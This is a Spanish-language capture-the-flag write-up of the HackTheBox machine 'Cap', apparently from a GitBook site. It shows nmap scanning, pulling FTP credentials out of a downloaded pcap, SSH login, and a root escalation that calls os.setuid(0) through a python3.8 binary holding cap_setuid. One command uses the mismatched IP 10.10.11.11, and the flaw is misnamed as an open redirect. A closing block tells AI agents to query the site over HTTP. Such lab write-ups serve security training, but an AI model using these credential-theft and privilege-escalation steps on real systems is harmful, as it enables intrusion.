# Cap

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 10.10.10.245
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPhasLV30H5F8qTDtsylK%2Fimage.png?alt=media&#x26;token=85b26f78-800c-4f5f-950f-1e5dba76a427" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sC -sV 10.10.10.245
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJSUtTCuW6m1AnposT6Ou%2Fimage.png?alt=media&#x26;token=efda3e4f-999d-4737-be7a-1688001af51c" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP** el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 EXPLORACIÓN

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 10.10.11.11
```

para que nos proporcione más información sobre esos puertos específicamente. Entramos a la página web para ver que contiene.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYdNOs0OaKptt0UF2xhGZ%2Fimage.png?alt=media&#x26;token=d219bca2-64c5-4fce-b810-2fbe9e2615d9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4W6uKbumo3EZnMMfHSZF%2Fimage.png?alt=media&#x26;token=f0eeb93e-9769-49f7-9bda-1d30d63c516c" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Si modificamos y ponemos `/data/0` cambian los números y si modificamos con otros números se aplica un **Open Redirect**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fjkx4PloTCxKyFxljZIf8%2Fimage.png?alt=media&#x26;token=c8e18423-6a46-4e61-8727-dfbf4e633e96" alt=""><figcaption></figcaption></figure>

Nos lo descargamos y vemos que son paquetes de Wireshark por lo que los analizamos.

```bash
tshark -r 0.pcap
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FuUt3wORm4vjMW6QzoIGT%2Fimage.png?alt=media&#x26;token=d91f01bc-cdaf-4570-bafc-7de3cf770d2f" alt=""><figcaption></figcaption></figure>

Filtramos para ver mejor la información relevante de la captura.

```bash
tshark -r 0.pcap -Y "ftp" 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOOE6ON0eaHs6HaVXqfvP%2Fimage.png?alt=media&#x26;token=ba076332-e4e7-4237-8bd3-196e5cb71cf7" alt=""><figcaption></figcaption></figure>

Nos salen unas credenciales por lo que nos logueamos. Descargamos los archivos que contiene.

```
ftp nathan@10.10.10.245
get user.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FborCqP8tSNWLztZVebie%2Fimage.png?alt=media&#x26;token=90d09d72-bfd1-4e71-b347-057af3a4c339" alt=""><figcaption></figcaption></figure>

Iniciamos sesión con el usuario **nathan**.

```bash
ssh nathan@10.10.10.245
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fy9Vy4cRI05ILjBHHm7Op%2Fimage.png?alt=media&#x26;token=03a56bad-b5ae-4941-b7d5-ae31d263eab0" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar pero nos pide contraseña. Tampoco tenemos permisos SUID. Pensamos que si la máquina se llama Cap tiene algo que ver con **capabilities** por lo que miramos.

```bash
getcap -r / 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FkO4sui9hmGpag5ulKe2d%2Fimage.png?alt=media&#x26;token=c7e91493-10b4-465f-8851-f7f0065fb80b" alt=""><figcaption></figcaption></figure>

Muestra que **/usr/bin/python3.8** tiene las capacidades **cap\_setuid** y **cap\_net\_bind\_service**, lo cual no es el valor predeterminado. **CAP\_SETUID** permite cambiar a UID 0 (root) sin necesidad del bit SUID.

Ejecutamos.

```bash
python3.8

import os
os.setuid(0)
os.system("/bin/bash")
```

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FHeAo7R8EmIid2maCVaTu%2Fimage.png?alt=media&#x26;token=17d38edb-7102-4ec7-8344-f4b389be403c" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1WZzRp9cosORp33HsFJ5%2Fimage.png?alt=media&#x26;token=7d9acdd5-394d-423f-944d-3d68c4fa004b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://beafn28.gitbook.io/beafn28/writeups/hackthebox/cap.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
